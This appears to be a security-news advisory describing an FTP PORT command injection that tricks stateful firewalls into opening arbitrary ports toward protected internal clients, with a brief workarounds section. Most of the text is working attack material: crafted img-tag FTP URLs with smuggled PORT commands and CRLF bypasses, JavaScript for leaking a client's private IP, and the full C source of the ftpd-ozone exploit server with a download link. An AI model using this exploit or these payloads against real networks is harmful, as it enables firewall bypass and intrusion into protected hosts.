|
Brought to you by:
Suppliers of:
|
|
|
| |
For those of you that followed the Multiple Firewalls FTP PASV ALG Vulnerability (see our past article: Exploit code released for Firewall-1 FTP PASV security vulnerability), here's another take, but this time the exploit works on internal clients protected by firewalls (instead of faulty FTP servers).
This gives an attacker the ability to open arbitrary ports in the firewall when the client tries to process a certain FTP URL (this can happen without asking the user to take any action). This attack works against most content checking firewalls (such as Checkpoint's Firewall-1) |
| |
Credit:
The information was provided by: Mikael Olsson.
The exploit code was provided by: Dug Song.
|
| |
The basic idea: how to open arbitrary ports against a client
* Send an HTML email to an HTML-enabled mail reader containing the tag:
<img src="ftp://ftp.example.com/aaaa[?]aaaPORT 1,2,3,4,0,139">
* Balance the number of 'A's so that the PORT command will begin on a new packet boundary. This may be done by having the server use a low TCP MSS to decrease the number of A's that need to be added.
* The firewall in question will incorrectly parse the resulting
RETR /aaaaaaaa[....]aaaaaPORT 1,2,3,4,0,139
As first a RETR command and then a PORT command and open port 139 against your address (1.2.3.4 in this example).
* Now the server ftp.example.com can connect to the client on port 139.
Naturally, this does not have to be port 139 - it can be any port. Some firewalls disallow "known server ports" for these connections; such ports cannot be used, but there are plenty of other ports that can be used in such cases.
Address translation playing games:
You have to know the IP address of the client in order to fool the firewall into opening the port. If the client is not dynamically NATed, this is easy. If the client IS dynamically NATed, this is a bit harder.
How to make it work through address translation:
There are several ways to figure out what the private address is. Here's two:
* Send an email to the address in question containing an img src ftp://ftp.example.com:23456 and hope that the firewall won't realize that port 23456 is FTP. PORT commands won't be translated this way, so the private IP address will be exposed. This assumes that port 23456 is allowed through the firewall and that it won't attempt to parse FTP command data on that port.
* Send an email with a link to a web page that contains javascript that extracts the private IP address and posts it to the server.
vartool=java.awt.Toolkit.getDefaultToolkit();
addr=java.net.InetAddress.getLocalHost();
ip=addr.getHostAddress();
Once we know the IP address, we can adjust the img src tag so that it is valid for that specific internal client.
The dynamic translation will also likely change the port number opened on the NAT:ed public address, but that's ok. All we have to do is read the command packet containing the PORT command, and we'll know what public address and port to connect to in order to get to "port 139" of the "protected" client.
What about Checkpoint's FTP PASV fix for FW-1?
Checkpoint's fix for FW-1 is to make sure that every packet in the command stream ends with CRLF (0x0a 0x0d in hex). That would help against the above attack, but not if we modify it a bit:
src="ftp://ftp.example.com/aaaaaaa%0a%0dPORT 1,2,3,4,0,139"
The firewall will see this as two separate commands:
RETR aaaaaaaaaa
PORT 1,2,3,4,0,139
Which means that poorly implemented proxies are likely to be vulnerable as well.
What firewalls are likely to be vulnerable?
This specific attack is likely to work against most "stateful inspection" firewalls with poorly implemented application layer filters. This probably includes most products out there.
It may also affect poorly implemented "proxies" when the CRLF is added before the PORT command as described above.
Workarounds to this specific vulnerability:
* Disable active FTP. The fix for the server side vulnerability was to disable passive FTP. Let's rephrase that:
* Disable FTP altogether. Block port 21. Disable FTP Application Layer Filters on all ports in your firewall.
* If you can't change the settings in your firewall, set the "FTP Proxy" setting in your browser/HTML-enabled mail reader to some address that doesn't exist, like 127.0.0.2. After this change, your browser won't be able to connect anywhere using FTP.
Exploit:
The exploit code can be downloaded from:
http://www.monkey.org/~dugsong/ftpd-ozone.c.txt
It is also posted below:
/*
ftpd-ozone.c
Demonstrate the FTP reverse firewall penetration technique
outlined by Mikael Olsson, EnterNet Sweden AB.
Tested against Netscape, Microsoft IE, Lynx, Wget. YMMV.
Copyright (c) 2000 Dug Song <dugsong@monkey.org>
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <arpa/telnet.h>
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#define WINDOW_LEN 42
#define FTPD_PORT 21
#define GREEN "\033[0m\033[01m\033[32m"
#define OFF "\033[0m"
#define int_ntoa(x) (inet_ntoa(*(struct in_addr *)&x))
void
usage(void)
{
fprintf(stderr, "Usage: ftpd-ozone [-w win] <ftp-client> <port-to-open>\n");
exit(1);
}
/* Strip telnet options, as well as suboption data. */
int
strip_telopts(u_char *buf, int len)
{
int i, j, subopt = 0;
char *p;
for (i = j = 0; i < len; i++) {
if (buf[i] == IAC) {
if (++i >= len) break;
else if (buf[i] > SB)
i++;
else if (buf[i] == SB) {
p = buf + i + 1;
subopt = 1;
}
else if (buf[i] == SE) {
if (!subopt) j = 0;
subopt = 0;
}
}
else if (!subopt) {
/* XXX - convert isolated carriage returns to newlines. */
if (buf[i] == '\r' && i + 1 < len && buf[i + 1] != '\n')
buf[j++] = '\n';
/* XXX - strip binary nulls. */
else if (buf[i] != '\0')
buf[j++] = buf[i];
}
}
buf[j] = '\0';
return (j);
}
u_long
resolve_host(char *host)
{
u_long addr;
struct hostent *hp;
if (host == NULL) return (0);
if ((addr = inet_addr(host)) == -1) {
if ((hp = gethostbyname(host)) == NULL)
return (0);
memcpy((char *)&addr, hp->h_addr, sizeof(addr));
}
return (addr);
}
#define UC(b) (((int)b)&0xff)
int
portnum2str(char *buf, int size, u_long ip, u_short port)
{
char *p, *q;
port = htons(port);
p = (char *)&ip;
q = (char *)&port;
return (snprintf(buf, size, "%d,%d,%d,%d,%d,%d",
UC(p[0]), UC(p[1]), UC(p[2]), UC(p[3]),
UC(q[0]), UC(q[1])));
}
int
portstr2num(char *str, u_long *dst, u_short *dport)
{
int a0, a1, a2, a3, p0, p1;
char *a, *p;
if (str[0] == '(') str++;
strtok(str, ")\r\n");
if (sscanf(str, "%d,%d,%d,%d,%d,%d", &a0, &a1, &a2, &a3, &p0, &p1) != 6)
return (-1);
a = (char *)dst;
a[0] = a0 & 0xff; a[1] = a1 & 0xff; a[2] = a2 & 0xff; a[3] = a3 & 0xff;
p = (char *)dport;
p[0] = p0 & 0xff; p[1] = p1 & 0xff;
*dport = ntohs(*dport);
return (0);
}
void
print_urls(u_long dst, u_short dport, int win)
{
char *p, host[128], tmp[128];
u_long ip;
gethostname(host, sizeof(host));
ip = resolve_host(host);
strncpy(host, int_ntoa(ip), sizeof(host));
/* XXX - "MDTM /\r\n" for Netscape, "CWD /\r\n" for MSIE. i suk. */
win -= (4 + 2 + 2);
p = malloc(win + 1);
memset(p, 'a', win);
p[win] = '\0';
portnum2str(tmp, sizeof(tmp), dst, dport);
printf("Netscape / Lynx URL to send client at %s:\n"
"ftp://%s/%s%%0a%%0dPORT%%20%s\n",
int_ntoa(dst), host, p, tmp);
printf("MSIE / Wget URL to send client at %s:\n"
"ftp://%s/a%s%%0a%%0dPORT%%20%s\n",
int_ntoa(dst), host, p, tmp);
free(p);
}
int
init_ftpd(int port, int win)
{
int fd, i = 1;
struct sockaddr_in sin;
if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
return (-1);
if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &i, sizeof(i)) == -1)
return (-1);
if (setsockopt(fd, SOL_SOCKET, SO_RCVBUF, &win, sizeof(win)) == -1)
return (-1);
memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = htonl(INADDR_ANY);
sin.sin_port = htons(port);
if (bind(fd, (struct sockaddr *)&sin, sizeof(sin)) == -1)
return (-1);
if (listen(fd, 10) == -1)
return (-1);
return (fd);
}
void
do_ftpd(int fd)
{
FILE *f;
char buf[1024];
int len, portcmd = 0;
u_long ip;
u_short port;
if ((f = fdopen(fd, "r+")) == NULL)
return;
fprintf(f, "220 ftpd-ozone ready for love.\r\n");
while (fgets(buf, sizeof(buf), f) != NULL) {
if ((len = strip_telopts(buf, strlen(buf))) == 0)
continue;
if (strncasecmp(buf, "SYST", 4) == 0) {
fprintf(f, "215 ftpd-ozone\r\n");
}
else if (strncasecmp(buf, "USER ", 5) == 0) {
fprintf(f, "331 yo there\r\n");
}
else if (strncasecmp(buf, "PASS ", 5) == 0) {
fprintf(f, "230 sucker\r\n");
}
else if (strncasecmp(buf, "PWD", 3) == 0) {
fprintf(f, "257 \"/\" is current directory\r\n");
}
else if (strncasecmp(buf, "PASV", 4) == 0) {
fprintf(f, "502 try PORT instead ;-)\r\n");
/*fprintf(f, "425 try PORT instead ;-)\r\n");*/
}
else if (strncasecmp(buf, "PORT ", 5) == 0) {
if (portstr2num(buf + 5, &ip, &port) != 0)
fprintf(f, "500 you suk\r\n");
else {
fprintf(f, "200 ready for love\r\n");
if (portcmd++ < 2) /* XXX */
printf(GREEN "try connecting to %s %d" OFF "\n", int_ntoa(ip), port);
}
}
else if (strncasecmp(buf, "CWD ", 4) == 0 ||
strncasecmp(buf, "TYPE ", 5) == 0) {
fprintf(f, "200 whatever\r\n");
}
else if (strncasecmp(buf, "NLST", 4) == 0) {
fprintf(f, "550 you suk\r\n");
}
else if (strncasecmp(buf, "MDTM ", 5) == 0) {
fprintf(f, "213 19960319165527\r\n");
}
else if (strncasecmp(buf, "RETR ", 5) == 0 ||
strncasecmp(buf, "LIST", 4) == 0) {
fprintf(f, "150 walking thru your firewall\r\n");
}
else if (strncasecmp(buf, "QUIT", 4) == 0) {
fprintf(f, "221 l8r\r\n");
break;
}
else fprintf(f, "502 i suk\r\n");
}
fclose(f);
}
int
main(int argc, char *argv[])
{
int c, sfd, cfd;
u_long dst;
u_short dport, win = WINDOW_LEN;
struct sockaddr_in sin;
while ((c = getopt(argc, argv, "w:h?")) != -1) {
switch (c) {
case 'w':
if ((win = atoi(optarg)) == 0)
usage();
break;
default:
usage();
}
}
argc -= optind;
argv += optind;
if (argc != 2)
usage();
if ((dst = resolve_host(argv[0])) == 0)
usage();
if ((dport = atoi(argv[1])) == 0)
usage();
if ((sfd = init_ftpd(FTPD_PORT, win)) == -1) {
perror("init_ftpd");
exit(1);
}
print_urls(dst, dport, win);
for (;;) {
c = sizeof(sin);
if ((cfd = accept(sfd, (struct sockaddr *)&sin, &c)) == -1) {
perror("accept");
exit(1);
}
printf("connection from %s\n", inet_ntoa(sin.sin_addr));
if (fork() == 0) {
close(sfd);
do_ftpd(cfd);
close(cfd);
exit(0);
}
close(cfd);
}
exit(0);
}
/* w00w00! */
|
|
|
|
|